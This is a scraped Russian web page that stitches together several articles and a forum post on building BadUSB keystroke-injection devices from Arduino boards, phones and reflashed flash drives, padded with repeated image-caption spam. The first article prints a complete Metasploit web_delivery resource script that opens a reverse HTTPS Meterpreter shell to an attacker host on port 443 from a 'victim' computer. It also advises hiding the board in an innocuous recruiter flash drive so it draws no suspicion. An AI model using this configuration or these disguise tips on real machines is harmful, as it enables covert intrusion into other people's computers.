Как сделать bad usb

Взлом компьютера за 3 секунды. Делаем USB-уточку с нуля на Arduino

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usbНачнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение.

Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb

Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.

Отлично. Создадим эксплоит во фреймворке Metasploit.

Будем использовать модуль web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы.

Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.

Нужно сказать нашей программе, откуда брать бинарники:

Дальше указываем порт, который не вызовет подозрений, что насчёт 443? 😉

Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.

Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.

Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.

set PAYLOAD windows/meterpreter/reverse_https

Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.

use exploit/multi/script/web_delivery
set LHOST 1.2.3.4
set LPORT 443
set URIPATH /
set TARGET 2
set PAYLOAD windows/meterpreter/reverse_https
exploit

Получаем полезную нагрузку для запуска на компьютере жертвы:

Теперь можем запустить это с флэшки.

Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb

Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений.

Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов.

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb

Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.

Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.

Источник

Мобильник как BadUSB. Используем BadUSB в Kali NetHunter по-взрослому

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb

О BadUSB го­вори­лось и писалось мно­жес­тво раз, в стать­ях и виде­оро­ликах давалась общая информа­ция об этом клас­се атак, делал­ся обзор сущес­тву­ющих девай­сов на рын­ке, и, конеч­но же, опи­сыва­лись схе­мы сбор­ки самодель­ных устрой­ств. Как ты зна­ешь, эта ата­ка поз­воля­ет в крат­чай­шие сро­ки выпол­нить дей­ствия на целевом компь­юте­ре. Дела­ется это так: в сво­бод­ный USB-порт встав­ляет­ся заранее под­готов­ленная флеш­ка или прос­той USB-кабель, который име­ет встро­енный мик­рокон­трол­лер с осо­бой про­шив­кой. Эти устрой­ства иден­тифици­руют­ся сис­темой в качес­тве HID (Human Interface Device), нап­ример как кла­виату­ра. Пос­ле чего по заранее написан­ному сце­нарию эму­лиру­ется ввод команд, как если бы их вби­вал живой человек, сидящий за компь­юте­ром.

Пред­положим, что ты член коман­ды Red Team. Плю­сы таких устрой­ств для тебя оче­вид­ны. Во‑пер­вых, не нуж­но садить­ся за компь­ютер и прив­лекать к себе вни­мание, сту­ча по кла­вишам за чужим рабочим мес­том. Дос­таточ­но вста­вить неп­ригляд­ную флеш­ку или кабель в разъ­ем USB. А во‑вто­рых, ско­рость авто­мати­чес­кого вво­да команд при помощи устрой­ства BadUSB в разы выше, чем ско­рость, с которой спо­собен печатать человек.

На самом деле ата­ка с авто­мати­чес­ким вво­дом тек­ста через USB-свис­тки появи­лась куда рань­ше, чем сам тер­мин BadUSB. В 2010 году коман­да Hak5 пред­ста­вила сво­его зна­мени­того резино­вого утен­ка — Rubber Ducky.

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usbШи­роко извес­тный в узких кру­гах девайс Rubber Ducky

Это был спе­циаль­но спро­екти­рован­ный девайс, который нап­рямую никак не свя­зан с темой BadUSB. Соз­датели жел­той уточ­ки раз­работа­ли спе­циаль­ный скрип­товый язык, на котором мож­но было писать сце­нарии. Впос­ледс­твии появил­ся целый ресурс, где поль­зовате­ли вык­ладыва­ли свои скрип­ты.

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usbРе­сурс, на который поль­зовате­ли вык­ладыва­ли собс­твен­ные скрип­ты

Bash Bunny

Ин­терес­ная аль­тер­натива «резино­вой утке» — Bash Bunny. Это более изощ­ренный вари­ант девай­са для HID-атак. Помимо кла­виату­ры, он может эму­лиро­вать любые устрой­ства для пос­ледова­тель­ного пор­та, фай­ловые хра­нили­ща и адап­теры USB — Ethernet.

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb

О дру­гих хакер­ских устрой­ствах, которые может при­обрести любой жела­ющий, ты можешь про­читать в этой статье.

В боль­шинс­тве слу­чаев при­мене­ние «утен­ка» и самодель­ных BadUSB-свис­тков сво­дит­ся к получе­нию уда­лен­ного дос­тупа или экспор­ту паролей из сис­темы. Авто­ры темати­чес­ких ста­тей и мам­кины хакеры c юту­ба зачас­тую исполь­зуют одну и ту же схе­му: залить на фай­лооб­менник какой‑нибудь тро­ян и зап­рограм­мировать девайс BadUSB на его ска­чива­ние и выпол­нение. Как говорит­ся, дешево и сер­дито.

Ми­нусы это­го метода оче­вид­ны: во‑пер­вых, серь­езные спе­циалис­ты могут исполь­зовать собс­твен­ные при­ват­ные наработ­ки, так что заливать такой код неиз­вес­тно куда — идея не самая разум­ная, а во‑вто­рых, на целевой машине может не ока­зать­ся дос­тупа в интернет, и скрипт поп­росту не отра­бота­ет как надо.

При таком рас­кла­де самодель­ные бюд­жетные свис­тки ста­новят­ся бес­полез­ными. Поль­зовате­ли ори­гиналь­ного утен­ка находят­ся в более при­виле­гиро­ван­ном положе­нии, и вот почему: у Rubber Ducky есть воз­можность уста­новить SD-кар­ту с дос­таточ­ным объ­емом памяти. Кро­ме того, сущес­тву­ет аль­тер­натив­ная про­шив­ка под наз­вани­ем Twin Duck, которая прев­раща­ет утку одновре­мен­но в два устрой­ства: кла­виату­ру и Mass Storage Device. Таким обра­зом, появ­ляет­ся воз­можность рас­положить необ­ходимый софт непос­редс­твен­но во внут­ренней памяти девай­са и пол­ностью избе­жать работы с сетью.

Лич­но я поз­накомил­ся с BadUSB при совер­шенно дру­гих обсто­ятель­ствах. Это слу­чилось, ког­да я уста­новил на смар­тфон опе­раци­онную сис­тему Kali NetHunter. Сре­ди про­чих фун­кций дан­ной ОС в ней при­сутс­тву­ет воз­можность исполнять ути­ные скрип­ты при под­клю­чении смар­тфо­на к компь­юте­ру. И все бы ничего, но вари­ант с залив­кой фай­лов куда‑то вов­не меня совер­шенно не устра­ивал, и я решил довес­ти алго­ритм этой ата­ки до ума.

warning

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Автор и редак­ция не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный с исполь­зовани­ем све­дений из этой статьи.

Для начала раз­берем­ся с базовым выпол­нени­ем ducky-скрип­тов. В гра­фичес­кой обо­лоч­ке NetHunter для это­го сущес­тву­ет свой раз­дел, но, по прав­де говоря, поль­зы от него мало. Поэто­му запуск скрип­тов мы наладим самос­тоятель­но.

При запус­ке скон­верти­рован­ного скрип­та под­клю­чен­ный телефон нач­нет вво­дить текст на компь­юте­ре.

С этим разоб­рались, теперь перей­дем к час­ти эму­ляции флеш‑накопи­теля. Для начала нам необ­ходимо соз­дать вир­туаль­ный образ, который мы будем мон­тировать и на котором будут находить­ся нуж­ные для запус­ка фай­лы. Образ мож­но было бы соз­дать прос­той коман­дой:

Но необ­ходимо еще отформа­тиро­вать накопи­тель и задать мет­ку тома, поэто­му более удоб­ным вари­антом будет исполь­зование ути­литы DriveDroid.

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usbИс­поль­зуем ути­литу DriveDroid для соз­дания вир­туаль­ного обра­за дис­ка

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Источник

BadUSB Rubber Ducky своими руками

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb

Не для кого не секрет, что хакеры используют для атак небольшие устройства, внешне очень похожие на внешний USB-накопитель (флешку) называемые BadUSB. Чтобы заполучить удаленный контроль нужно всего навсего подключить такое устройство к серверу (компьютеру). Для начала все очень похоже на Rubber Ducky, за одним большим исключением, Rubber Ducky — это разовая акция, последствия которой весьма предсказуемы. Мы же хотим рассказать о гораздо более универсальной модификации BadUSB.

Лучше, чем Rubber Ducky

Наверняка вы уже слышали про Rubber Ducky. Это устройство из разряда BadUSB для HID-атаки. Подобного рода девайсы умеют эмулировать клавиатуру и позволяют отправить любые команды, словно их набрал текущий пользователь.

В этих устройствах есть простой микроконтроллер и память, в которую записывается скетч (код для Arduino и подобных отладочных плат). Он содержит функцию эмуляции нужного устройства и набор выполняемых им действий. Как показывает практика, обычно это клавиатура и последовательность «нажимаемых» на ней клавиш.

Конечно, у этих девайсов есть и свои недостатки. Во-первых, нужно тщательно разведать полную конфигурацию компьютера-жертвы. Во-вторых, перед реальной атакой нужно проверить, как она будет выполняться на максимально подобной тестовой системе, и внести необходимые правки — в частности, подобрать оптимальные задержки. В реальных условиях, скорее всего, будет проблематично второй раз приблизиться к атакуемому компьютеру, а если хоть один скан-код клавиши будет отправлен не вовремя, то все окажется напрасным. В-третьих, можно использовать только один скетч. Нельзя дописать какую-то функцию на лету или прервать и перезапустить набор действий. В этой статье я покажу как создать устройство, лишенное этих недостатков.

Создание WiFi Ducky

Практически это будет тот же самый Rubber Ducky, только с модулем WiFi. Суть в том, что при его подключении к компьютеру скетч не выполняется сразу при подаче питания на плату (хотя такая функция тоже есть). В этот момент создается точка доступа, которая ждет подключения. Соединиться с ней можно как со смартфона, так и с ноутбука и уже оттуда в любой удобный момент совершать необходимые действия.

За основу можно взять Arduino MKR1000 с WiFi-модулем Atmel ATSAMW25 на борту, добавить библиотеку WiFi101 и готовый код отсюда. Однако обойдется это в 35 долларов. Также есть готовый проект Cactus WHID. Он стоит уже 14 долларов и выглядит как флешка, но доработать его будет сложнее.

Я предлагаю собрать более дешевый (меньше десяти долларов) и функциональный девайс под называнием WiFi Ducky. Его автор — Stefan Kremser с ником «Космокурица», а железо для его крутых самоделок продается в отдельном магазине на AliExpress. Там можно купить готовые DIY-модули, скачать код с гитхаба и повторить все шаг за шагом, однако мы пойдем немного другим путем.

Возьмем два устройства:

WeMos D1 mini с микроконтроллером ESP-8266EX и WiFi-модулем стандарта 802.11b/g/n на борту.

Нам необходимо будет соединить их, но вначале — прошить.

Прошивка Arduino Micro Pro

Начнем с платы Arduino. Скачиваем и устанавливаем Arduino IDE. При установке этого программного обеспечения заодно установятся все драйверы для этого устройства, так что дополнительно ничего не надо будет устанавливать. Чтобы подключить ее к компьютеру, необходимо запастить OTG-адаптером или кабелем с надлежащими выходами, так как на плате расположен разъем mini-USB.

После установки программного обеспечения запускаем его и подключаем Arduino к компьютеру. В меню «Инструменты» в разделе «Плата» выбираем Arduino/Genuino Micro. Далее в том же меню выбираем COM-порт, на котором определено устройство. На этом настройка программного обеспечения завершена.

Следующим шагом идем по ссылке, где расположен скетч. На него достаточно взглянуть, чтобы понять, что он делает: преобразует команды типа STRING в поддерживаемый Arduino синтаксис типа Keyboard.print(“”), и активирует нужные контакты. Копируем его и вставляем в Arduino IDE. Нажимаем кнопку «Загрузка» и через две-три минуты получаем сообщение о том, что скетч успешно загружен. Теперь при подаче питания на плату контроллер активирует контакты TX, RX, GND и RAM, после чего переходит в режим ожидания команд.

Прошивка WeMos D1 mini

Добрались до следующего компонента нашего BadUSB на стероидах. В этот раз нам потребуется перейти с micro-USB на USB Type-А. При первом подключении к компьютеру Windows ругнется на неопределенное устройство, поэтому необходимо скачать драйвер CH341 c официального сайта.

Тут ничего сложного: извлекаем из архива EXE-файл, запускаем его с правами администратора и нажимаем INSTALL. После этих нехитрых манипуляций в диспетчере устройств эта плата должна определиться как USB-SERIAL СР340. Поделюсь горьким опытом: если установить неверный драйвер, то устройство определится, но название будет другое, и ничего не заработает. Будьте предельно внимательны!

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb Правильное определение WeMos D1 mini

Теперь устройство готово к прошивке, и нам нужен прошивальщик. Я воспользуюсь NodeMCU firmware programmer. Заходим на GitHub и скачиваем его в соответствии с версией вашей ОС. У меня это Win64. Еще необходимо скачать саму прошивку. Их будет несколько вариаций, я скачивал esp8266_wifi_duck_4mb.bin, как наиболее увесистый и функциональный вариант.

После этого запускаем и настраиваем прошивальщик. В поле COM Port выбираем тот порт, на котором определилась плата. Обычно программа сама его «видит» и подставляет необходимое значение. Далее переходим во вкладку Config, где в первой строке нажимаем на шестеренку и указываем путь до прошивки, которую скачали. Значение остается 0x00000. Во вкладке Advanced советую выставить параметр Baudrate на 115200. У меня прошивка записалась на такой скорости, а если у вас возникнет ошибка, то просто уменьшите ее. Остальное оставляем без изменения. В итоге должно получиться как на скриншоте.

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb Значения программы NODEMCU FIRMWARE PROGRAMMER на вкладке Advanced

Когда все нехитрые манипуляции будут выполнены, возвращаемся на вкладку Operation и нажимаем Flash. Ниже кнопки расположен индикатор, который покажет приблизительное время загрузки прошивки в память, а зеленая галочка с надписью NODEMCU TEAM даст знать, что прошивка закончилась.

Работа паяльником

После того как обе платы подготовлены и прошиты, необходимо соединить их в одного «Франкенштейна». Для этого подключаем проводами контакты в соответствии с таблицей:

Источник

Как с флешки зделать badusb?

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb

ARTURnoANONIM

New member

Вот вся инфа про флешку

Volume: E:
Controller: USBest UT163 A1B
Possible Memory Chip(s):
Samsung K9G8G08U0M
Memory Type: MLC
Flash ID: ECD31425 64
Chip F/W: BA0664
VID: 1307
PID: 0163
Manufacturer: USB 2.0
Product: Flash Disk
Query Vendor ID: USB 2.0
Query Product ID: Flash Disk
Query Product Revision: 0.00
Physical Disk Capacity: 1031798272 Bytes
Windows Disk Capacity: 1027571712 Bytes
Internal Tags: 27ZR-T994
File System: FAT32
Relative Offset: 31 KB
USB Version: 2.00
Declared Power: 80 mA
ContMeas ID: C454-02-00

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb

Вот вся инфа про флешку

Volume: E:
Controller: USBest UT163 A1B
Possible Memory Chip(s):
Samsung K9G8G08U0M
Memory Type: MLC
Flash ID: ECD31425 64
Chip F/W: BA0664
VID: 1307
PID: 0163
Manufacturer: USB 2.0
Product: Flash Disk
Query Vendor ID: USB 2.0
Query Product ID: Flash Disk
Query Product Revision: 0.00
Physical Disk Capacity: 1031798272 Bytes
Windows Disk Capacity: 1027571712 Bytes
Internal Tags: 27ZR-T994
File System: FAT32
Relative Offset: 31 KB
USB Version: 2.00
Declared Power: 80 mA
ContMeas ID: C454-02-00

Источник

Гадкий утенок. Превращаем обычную флешку в USB Rubber Ducky

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb

Содержание статьи

Как-то давно мы делали в журнале обзор девайсов, которые было бы желательно иметь в своем чемоданчике хакера. Среди прочих девайсов там был и USB Rubber Ducky — устройство, внешне напоминающее обычную флешку, которое притворяется клавиатурой и при подключении к компьютеру быстренько набирает все заданные в нем команды. Штука крутая и очень полезная при проведении пентестов, но зачем выкладывать за нее 40 баксов (да еще и при текущем курсе), если аналогичным трюкам можно научить обычную флешку?

WARNING

Предисловие

Прошлогодний Black Hat принес много интересных докладов. В числе наиболее обсуждаемых был доклад, посвященный неисправимой уязвимости USB-устройств, позволяющей превращать обычные флешки в инструмент распространения вредоносных программ. Атаку назвали BadUSB, но позже в Сети появились шуточки на тему «USBola», сравнивающие эту атаку с известным вирусом.

Подобные идеи использования HID-девайсов для корыстных целей были уже давно. Грех не воспользоваться тем, что ОС система доверяет устройствам, подключаемым к USB-интерфейсу. Если покопаться в памяти, то в журнале уже была статья по сходной тематике, в которой говорилось, как с помощью специального устройства Teensy можно взять под контроль машину с Windows 7 (в принципе — с любой ОС на борту). Устройство по внешнему виду напоминало собой обычную флешку, под которую собственно и маскировалось. Все это наводило на мысли, что с флеш-накопителями тоже можно провернуть такой трюк.

Предпосылки

Вообще, USB — очень универсальный интерфейс. Только подумай, сколько устройств мы к нему подключаем и в состав каких девайсов он входит! Мышки, клавиатуры, принтеры, сканеры, геймпады, модемы, точки доступа, веб-камеры, телефоны и т.д. и т.п. Мы не задумываясь вставляем коннектор в нужный разъем, ОС автоматически определяет тип устройства и подгружает необходимые драйвера.

Но как она это делает?

Устройство Flash накопителей

На самом деле, ОС ничего не знает о подключаемом устройстве. Ей приходится ждать, пока девайс сам не сообщит, к какому классу устройств он принадлежит. Если взять простейший пример, когда мы втыкаем флешку в USB-разъем, то флешка сообщает операционной системе не только что является накопителем, но и свой объем. Тут сразу вспоминаются хитрожелтые китайские товарищи, которые таким образом научились выпускать флешки повышенной емкости (встречались чуть ли не на пару терабайт). Чтобы разобраться, как такое возможно, давай вспомним (или узнаем), как система распознает USB-устройства.

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb Флешка без красивой обертки

Xakep #200. Тайная жизнь Windows 10

Алгоритм инициализации USB устройств

Назначение USB-устройств определяется кодами классов, которые сообщаются USB-хосту для загрузки необходимых драйверов. Коды классов позволяют унифицировать работу с однотипными устройствами разных производителей. Устройство может поддерживать один или несколько классов, количество которых определяется количеством конечных точек (USB endpoints). В момент подключения хост запрашивает у устройства ряд стандартизованных сведений (дескрипторов), на основании которых принимает решение, как с этим устройством работать. Дескрипторы содержат сведения о производителе и типе устройства, на основании которых хост подбирает программный драйвер.

Обычная флешка будет иметь код класса 08h (Mass Storage Device — MSD), в то время как веб-камера, снабженная микрофоном, будет характеризоваться уже двумя: 01h (Audio) и 0Eh (Video Device Class).

При подключении USB-устройства оно регистрируется, получает адрес и отправляет свой дескриптор/дескрипторы, чтобы ОС загрузила необходимые драйвера и отправила обратно необходимую конфигурацию. После этого начинается непосредственное взаимодействие с устройством. По завершении работы происходит дерегистрация девайса. Важный момент, который стоит тут отметить: устройства могут иметь несколько дескрипторов, а также могут дерегистрироваться и регистрироваться в качестве другого устройства.

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb Единственная часть устройства, видимая пользователю

Bad USB или немного истории

Итак, на конференции Black Hat в прошлом году двое исследователей (Karsten Nohl и Jakob Lell) поделились с общественностью опытом, как перепрошить контроллер флешки своей прошивкой. По истечении некоторого времени такая флешка регистрировалась в качестве клавиатуры и набирала заданные команды. Из-за серьезности проблемы ребята не стали выкладывать код эксплойта. Однако, спустя некоторое время, двое других исследователей (Adam Caudill и Brandon Wilson) уже на конференции Derbycon представили миру работоспособный РоС, заточенный под микроконтроллер Phison 2251-03. Код доступен на github.

Трансформация

Прежде всего нам понадобится подходящий девайс. Так как код выложен только для конкретного микроконтроллера, то у нас есть два варианта — либо найти флешку, управляемую данным контроллером, либо провести очень непростую работу по исследованию и перепрошивке любого другого микроконтроллера. В этот раз мы выберем более легкий путь и попробуем найти подходящую флешку (а вот и список узявимого оборудования). Контроллер достаточно распространенный, так что даже каким-то чудом у меня дома среди десятка флешек нашлась подходящая.

Начинаем колдовать

Найдя подходящий девайс (который не жалко в случае неудачи потерять), можно приступать к его перевоплощению. Прежде всего нам потребуется скачать исходники, которые выложили ребята. В принципе, содержание расписано у них в официальной вики, но на всякий случай еще раз напомню, что же они выложили на гитхаб:

Подготавливаем систему

Скомпилировав все инструменты, входящие в архив, можно будет еще раз проверить, подходит ли данная флешка для перепрошивки:

где F — соответственно, буква накопителя.

Если эксперименты пошли не так и с флешкой творится что-то непонятное, то можно попытаться вернуть ее к жизни, вручную переведя ее в boot-режим, и воспользовавшись утилитой для восстановления оригинальной прошивки. Для этого надо перед ее подключение замкнуть 1 и 2 (иногда 2 и 3) контакты контроллера, расположенные по диагонали от точки (чтобы было понятней смотри соотвествующий рисунок). После этого можно попытаться восстановить устройство с помощью официальной утилиты MPAL

Как сделать bad usb. Смотреть фото Как сделать bad usb. Смотреть картинку Как сделать bad usb. Картинка про Как сделать bad usb. Фото Как сделать bad usb Переводим флешку в boot-режим, замыкая указанные контакты

Получаем burner image

Следующим важным шагом является выбор подходящего burner image-а (8051 бинарник, ответственный за действия по дампу и заливке прошивки на устройство). Обычно их имена выглядят примерно так:

Где xx — номер версии контроллера (например, в случае PS2251-03 это будет 03), yyy — номер версии (не важно), а z отражает размер страницы памяти и может быть следующим:

Где искать подходящий burner image для своей флешки, можно посмотреть по этой ссылке.

Дампим оригинальную прошивку

Подготавливаем payload

Теперь настало время подумать о том, какой функционал мы хотим получить от нашей флешки. Если вспомнить Teensy, для него есть отдельный тулкит Kautilya, который позволяет автоматизировать создание пейлоадов. Для USB Rubber Ducky тут есть целый сайт, позволяющий посредством удобного веб-интерфейса прямо в онлайне создавать скрипты для девайса по своему вкусу. И это помимо списка уже готовых скриптов, которые лежат на гитхабе проекта. На наше счастье, Ducky-скрипты можно сконвертировать в бинарный вид, чтобы затем встроить их в прошивку. Для этого нам пригодится утилита Duck Encoder.

Что же по поводу самих скриптов, то тут есть сразу несколько вариантов:

Для того чтобы перевести скрипт в бинарный вид, необходимо выполнить следующую команду:

где keys.txt — Ducky-скрипт, а inject.bin — выходной бинарник.

Заливаем прошивку

Как только у нас на рукам появится готовый пейлоад, настанет время внедрять его в прошивку. Выполняется это следующими двумя командами:

После такой манипуляции у нас на руках будет файл кастомной прошивки hid.bin с внедренной в него полезной нагрузкой. Остается только залить полученную прошивку на флешку:

где F — опять же, буква накопителя.

Альтернативные варианты

Помимо использования HID-природы флешки и превращения ее в клавиатуру, набирающую наши пэйлоады, можно сотворить еще несколько трюков. Например, можно создать на устройстве скрытый раздел, уменьшив место, которое будет видеть ОС. Для этого сначала надо получить размер устройства в логических блоках:

Аналогичным образом делается Password Path и No Boot Mode Patch, про которые ты можешь подробней посмотреть на гитхабе проекта. Моей же основной целью было научить флешку выполнять заданные действия, чего мы с тобой и добились.

Поставленной цели мы добились. Более того: думаю, ты теперь понял, что флешки (да и прочие USB-девайсы) нельзя больше рассматривать как просто абстрактный накопитель, хранящий твою информацию. На самом деле — это уже практически компьютер, который можно научить выполнять определенные действия. Хотя на данный момент РоС выложен только для одного конкретного контроллера, будь уверен, что в момент чтения статьи кто-то наверняка ковыряет другие.

Так что будь осторожен при подключении USB-устройств и держи ухо востро.

Источник

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *